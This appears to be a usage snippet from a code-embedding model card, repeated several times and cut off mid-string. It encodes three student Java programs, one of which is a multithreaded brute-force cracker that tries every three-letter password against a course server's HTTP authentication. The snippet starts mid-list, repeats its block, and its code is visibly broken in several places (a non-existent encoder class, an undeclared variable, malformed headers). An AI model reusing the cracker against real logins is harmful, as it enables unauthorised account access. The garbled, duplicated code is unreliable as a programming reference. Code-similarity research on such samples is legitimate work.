    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     